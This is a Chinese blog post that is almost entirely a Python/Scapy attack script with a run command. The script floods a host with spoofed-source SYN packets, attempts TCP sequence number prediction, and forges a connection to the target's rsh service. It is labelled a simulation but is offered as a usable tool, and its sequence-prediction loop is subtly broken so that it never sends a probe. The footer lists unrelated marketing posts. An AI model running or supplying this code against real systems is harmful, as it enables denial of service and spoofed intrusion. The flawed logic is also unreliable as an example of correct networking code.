首页 > 其他分享 >“量子跃迁” 式网络攻击模拟矩阵

“量子跃迁” 式网络攻击模拟矩阵

时间:2024-11-27 12:33:55浏览次数:10  
标签:tgt IP 跃迁 矩阵 TCP 发送 print 数据包 网络攻击

import threading
import argparse
import time
from scapy.layers.inet import IP, ICMP, TCP
from scapy.all import *

# 全局变量,用于统计发送失败的数据包数量,初始化为0
send_failure_count = 0
# 新增全局变量,记录当前的发送延迟时间,初始值设为0.01秒,用于控制发送SYN数据包的频率
current_delay = 0.01

# 函数用于在线程中发送SYN数据包
# - sport:源端口号,指定发送数据包的源端口
# - src:源IP地址,数据包的源IP
# - tgt:目标IP地址,数据包要发送到的目标IP
def send_syn_packet(sport, src, tgt):
    """
    用于在线程中发送SYN数据包的函数
    :param sport: 源端口号
    :param src: 源IP地址
    :param tgt: 目标IP地址
    """
    global send_failure_count, current_delay  # 声明使用全局变量,以便在函数内修改它们的值
    # 构建IP层数据包,设置源IP和目标IP
    ip_layer = IP(src=src, dst=tgt)
    # 构建TCP层数据包,设置源端口和目标端口(这里目标端口固定为513)
    tcp_layer = TCP(sport=sport, dport=513)
    pkt = ip_layer / tcp_layer  # 将IP层和TCP层数据包组合起来
    print(f"[DEBUG] Sending SYN packet with sport={sport} to {tgt}")  # 打印调试信息,显示正在发送的数据包信息
    max_retries = 3  # 最大重试次数,当发送失败时进行重试,最多尝试3次
    retries = 0
    while retries < max_retries:
        try:
            send(pkt)  # 使用Scapy的send函数发送数据包
            time.sleep(current_delay)  # 根据当前设置的延迟时间暂停,以此控制发送频率
            break  # 如果发送成功,跳出重试循环
        except Exception as e:
            send_failure_count += 1  # 发送失败,失败计数加1
            print(f"[ERROR] Failed to send packet with sport={sport} to {tgt}: {e}")  # 打印错误信息,显示发送失败的原因
            retries += 1
            if retries < max_retries:
                print(f"[INFO] Retrying to send packet with sport={sport} to {tgt} after 1 second...")
                time.sleep(1)  # 若重试次数未达到最大重试次数,等待1秒后再次尝试发送
            else:
                print(f"[ERROR] Max retries reached, giving up sending packet with sport={sport} to {tgt}")
            # 根据失败次数动态调整延迟时间,这里简单示例,每失败10次,延迟时间增加10%
            # 可以根据实际情况更精细调整策略,比如根据不同的失败率范围设置不同的调整幅度等
            if send_failure_count % 10 == 0:
                current_delay *= 1.1

# 发起SYN洪泛攻击的模拟函数(采用多线程方式增强发送能力)
# - src:源IP地址,SYN洪泛攻击中数据包的源IP
# - tgt:目标IP地址,SYN洪泛攻击要针对的目标IP
# - max_threads:最大同时运行的线程数量,用于控制并发发送数据包的线程数
def synFlood(src, tgt, max_threads):
    """
    发起SYN洪泛攻击的模拟函数(采用多线程方式增强发送能力)
    :param src: 源IP地址
    :param tgt: 目标IP地址
    :param max_threads: 最大同时运行的线程数量
    """
    total_packets = 10000 - 1024  # 总共要发送的数据包数量,从源端口1024到10000,共8976个数据包
    packets_per_thread = total_packets // max_threads  # 平均每个线程要发送的数据包数量
    # 简单估算每个线程发送完数据包大概需要的时间(假设每秒发送10个数据包,这里的时间估算很粗略,仅作参考)
    estimated_time_per_thread = packets_per_thread / 10
    estimated_total_time = estimated_time_per_thread * max_threads  # 估算整个程序运行大致需要的时间
    print(f"[INFO] Estimated program running time: approximately {estimated_total_time} seconds.")  # 打印估算的运行时间,提示用户大概需要等待多久
    threads = []
    for sport in range(1024, 10000):
        # 控制线程创建数量,避免过多线程同时启动,当正在运行的线程数量达到设定的最大值时,等待一段时间再创建新线程
        while threading.active_count() >= max_threads:
            time.sleep(0.1)
        t = threading.Thread(target=send_syn_packet, args=(sport, src, tgt))  # 创建一个线程,用于发送SYN数据包
        t.start()  # 启动线程
        threads.append(t)  # 将线程添加到线程列表中
    for t in threads:
        t.join()  # 等待所有线程执行完毕,确保所有数据包都发送完成
    print(f"[INFO] Total packets sent: {total_packets}")  # 打印总共发送的数据包数量
    print(f"[INFO] Failed packets: {send_failure_count}")  # 打印发送失败的数据包数量
    print(f"[INFO] Success rate: {((total_packets - send_failure_count) / total_packets) * 100:.2f}%")  # 计算并打印发送成功率

# 计算目标主机TCP序列号的函数
# - tgt:目标IP地址,要计算其TCP序列号的目标主机IP
# 返回值:计算后的TCP序列号
def calTSN(tgt):
    """
    计算目标主机TCP序列号的函数
    :param tgt: 目标IP地址
    :return: 计算后的TCP序列号
    """
    seqNum = 0
    preNum = 0
    diffseq = 0
    for x in range(1, 5):
        if preNum!= 0:
            preNum = seqNum
            pkt = IP(dst=tgt) / TCP()  # 构建一个简单的IP/TCP数据包,用于向目标主机发送,以获取相关信息来计算序列号
            print(f"[DEBUG] Sending packet to {tgt} for TSN calculation")
            try:
                ans = sr1(pkt, verbose=0, timeout=5)  # 使用Scapy的sr1函数发送数据包并等待响应,超时时间设为5秒,不打印详细发送信息
                print(f"[DEBUG] sr1 function returned result: {ans}")  # 新增输出语句,查看返回结果详情
                if ans is None:
                    print(f"[ERROR] sr1 function returned None, no response received from {tgt} during TSN calculation")
                elif ans.haslayer(TCP):
                    print(f"[DEBUG] Received response: {ans.summary()}")
                    seqNum = ans.getlayer(TCP).seq  # 从响应数据包中获取TCP序列号
                    diffseq = seqNum - preNum  # 计算本次获取的序列号与上次序列号的差值
                    print('[+] TCP Seq Difference:' + str(diffseq))
                else:
                    print(f"[ERROR] Received response does not contain TCP layer from {tgt} during TSN calculation")
            except Exception as e:
                print(f"[ERROR] Error occurred while calculating TSN for {tgt}: {e}")
    return seqNum + diffseq

# 进行IP地址欺骗建立连接的函数
# - src:源IP地址,用于欺骗的源IP地址
# - tgt:目标IP地址,要建立连接的目标IP地址
# - ack:确认号,用于构建TCP ACK数据包的确认号
def spoofConn(src, tgt, ack):
    """
    进行IP地址欺骗建立连接的函数
    :param src: 源IP地址
    :param tgt: 目标IP地址
    :param ack:确认号
    """
    ip_layer = IP(src=src, dst=tgt)  # 构建IP层数据包,设置欺骗的源IP和目标IP
    tcp_layer = TCP(sport=513, dport=514)  # 构建TCP层数据包,设置源端口和目标端口
    synPkt = ip_layer / tcp_layer  # 组合IP层和TCP层数据包,构造SYN数据包
    print(f"[DEBUG] Constructed SYN packet: {synPkt.summary()}")  # 打印调试信息,显示构造的SYN数据包信息
    try:
        send(synPkt)  # 发送构造好的SYN数据包
    except Exception as e:
        print(f"[ERROR] Failed to send SYN packet: {e}")

    ip_layer = IP(src=src, dst=tgt)  # 再次构建IP层数据包,同样设置欺骗的源IP和目标IP
    tcp_layer = TCP(sport=513, dport=514, ack=ack)  # 构建带有确认号的TCP层数据包,构造ACK数据包
    ackPkt = ip_layer / tcp_layer  # 组合IP层和TCP层数据包,构造ACK数据包
    print(f"[DEBUG] Constructed ACK packet: {ackPkt.summary()}")  # 打印调试信息,显示构造的ACK数据包信息
    try:
        send(ackPkt)  # 发送构造好的ACK数据包
    except Exception as e:
        print(f"[ERROR] Failed to send ACK packet: {e}")

# 主函数,程序的入口点,用于解析命令行参数并调用其他函数来执行相应的网络操作
def main():
    parser = argparse.ArgumentParser(description='Network operation tool')
    parser.add_argument('-s', dest='synSpoof', type=str, help='specify src for SYN Flood')
    parser.add_argument('-S', dest='srcSpoof', type=str, help='specify src for spoofed connection')
    parser.add_argument('-t', dest='tgt', type=str, help='specify target address')
    parser.add_argument('-m', dest='max_threads', type=int, default=5, help='specify the maximum number of threads')
    args = parser.parse_args()
    if args.synSpoof is None or args.srcSpoof is None or args.tgt is None:
        parser.print_help()
        exit(0)
    else:
        synSpoof = args.synSpoof
        srcSpoof = args.srcSpoof
        tgt = args.tgt
        max_threads = args.max_threads
        try:
            print('[+] Starting SYN Flood to suppress remote server.')
            synFlood(synSpoof, srcSpoof, max_threads)
            print('[+] Calculating correct TCP Sequence Number.')
            seqNum = calTSN(tgt) + 1
            print('[+] Spoofing Connection.')
            spoofConn(srcSpoof, tgt, seqNum)
            print('[+] Done.')
            exit(0)
        except Exception as e:
            print(f"[ERROR] An unexpected error occurred during program execution: {e}")
            exit(-1)


if __name__ == '__main__':
    main()


运行命令:
python network_tool.py -s <SYN洪泛攻击源IP地址> -S <欺骗连接源IP地址> -t <目标IP地址> -m <最大线程数量>
或:


返回结果:

 

标签:tgt,IP,跃迁,矩阵,TCP,发送,print,数据包,网络攻击
From: https://blog.csdn.net/qq_68809241/article/details/144078339

相关文章

  • 众多企业都在通过短视频矩阵系统获客转化?如何选择适合自己的工具?
    如今短视频矩阵宣传,成为了众多企业首选的营销阵地,各式各样的矩阵工具,也是层出不穷令人眼花缭乱,价格从几百元到数万元不等,提供的服务也是千差万别。一不小心,就可能成为他人收割的对象。那么,在选择矩阵工具时,我们应该依据哪些标准呢?今天笔者就带大家详细探讨。一、短视频矩阵......
  • 抖音短视频矩阵怎么做?源头矩阵厂家深度解析矩阵玩法
    在2024年激烈的市场竞争中,企业要想实现业绩的飞跃,就必须突破流量的瓶颈。短视频作为新兴的流量聚集地,企业需要迅速把握机遇,打造一个强大的短视频网络。谁能抢先一步行动,谁就能在这场流量争夺战中取得先机。今天,笔者一文给大家聊清楚,什么是短视频矩阵?实体行业为什么要做短视......
  • 1+X应急响应(网络)常见网络攻击-SQL注入:
    常见网络攻击-SQL注入:SQL注入概述:动态网站的工作流程:SQL注入的起源:SQL典型的攻击手段:SQL注入的危害:SQL注入的函数:SQL注入类型:提交方式分类:Get注入:Post注入:Cookie注入:HTTP的头部注入:头部的利用点User-agent:Referer:按照执行效果分类:注释:......
  • 【DP优化技巧】2. 矩阵加快
    例题来看一道例题。P5024[NOIP2018提高组]保卫王国对于这道题,首先如果没有国王的询问,可以设定状态:\(f_{i,0/1}\)代表以\(i\)为根的子树里面,自己选/不选的最小花费。易得状态转移方程:\[f_{u,0}=\sum_{v\inson_u}f_{v,1}\\f_{u,1}=p_u+\sum_{v\inson_u}\min(f_{v,0},......
  • LeetCode54.螺旋矩阵&& LeetCode59.螺旋矩阵Ⅱ(螺旋矩阵问题)
    LeetCode刷题记录文章目录LeetCode54.螺旋矩阵思路代码LeetCode59螺旋矩阵Ⅱ思路代码LeetCode54.螺旋矩阵给你一个m行n列的矩阵matrix,请按照顺时针螺旋顺序,返回矩阵中的所有元素。示例一输入:matrix=[[1,2,3],[4,5,6],[7,8,9]]输出:[1,2,3,6,9,......
  • 矩阵加速
    矩阵加速矩阵快速幂优化dp先介绍矩阵乘法:现有大小为\(n*n\)的矩阵A,B,C。\[C=A\timesB\]\[C_{i,j}=\sum_{k=1}^{n}A_{i,k}\timesB_{k,j}\]可以简记为:A横乘B竖矩阵快速幂:$A*A*A*A*B=A^k*B$和普通快速幂求解方式一样模板矩阵快速幂优化dp把dp方......
  • 矩阵论学习
    矩阵论学习矩阵的几何意义如果空间中任意的一个向量,都可以由某几个向量通过线性组合得来。则称这几个向量为这个空间的基。该空间被称为由基向量张成的向量空间如何选取基向量?如果一个向量\(\vec{c}\)可以由\(\vec{a}\)和\(\vec{b}\)经过数乘和相加得到。则\(\vec{c}\)并没有......
  • 代码随想录之滑动窗口、螺旋矩阵、区间和、开发商土地;Java之数据结构、集合源码、File
    代码随想录滑动窗口1、如果给两个字符串s和t,判断t是否为s的子串或是否s包含t的排列,用t的长度固定滑动窗口的大小,初始化将s的前t.length()个长度的字符情况存储在int数组中,int数组的大小由字符串中字符的类型决定,最大为ascii表的长度,为128。  每次循环滑动窗口向前移一位,即lef......
  • 单片机线反转法实现矩阵键盘
    矩阵键盘原理前文描述的独立按键需要每一个都需要占用一个引脚控制,如果按键数多了,控制将会变得麻烦,并且浪费资源为此,使用矩阵键盘,每个引脚不连接单独的按键,而是连接一行或一列按键,当按下一个按键时,确定行列相交的坐标即可确定被按下的按键,如下图(最下面一排是独立按键,而上面......
  • 多维数组与特殊矩阵:存储与压缩
    多维数组与特殊矩阵:存储与压缩一、多维数组的存储(一)基本概念多维数组是线性表的推广,例如二维数组可以看作是元素为一维数组的线性表,三维数组可以看作是元素为二维数组的线性表,以此类推。在内存中,多维数组需要按照一定的顺序进行存储,常见的存储方式有行优先存储和列优先存......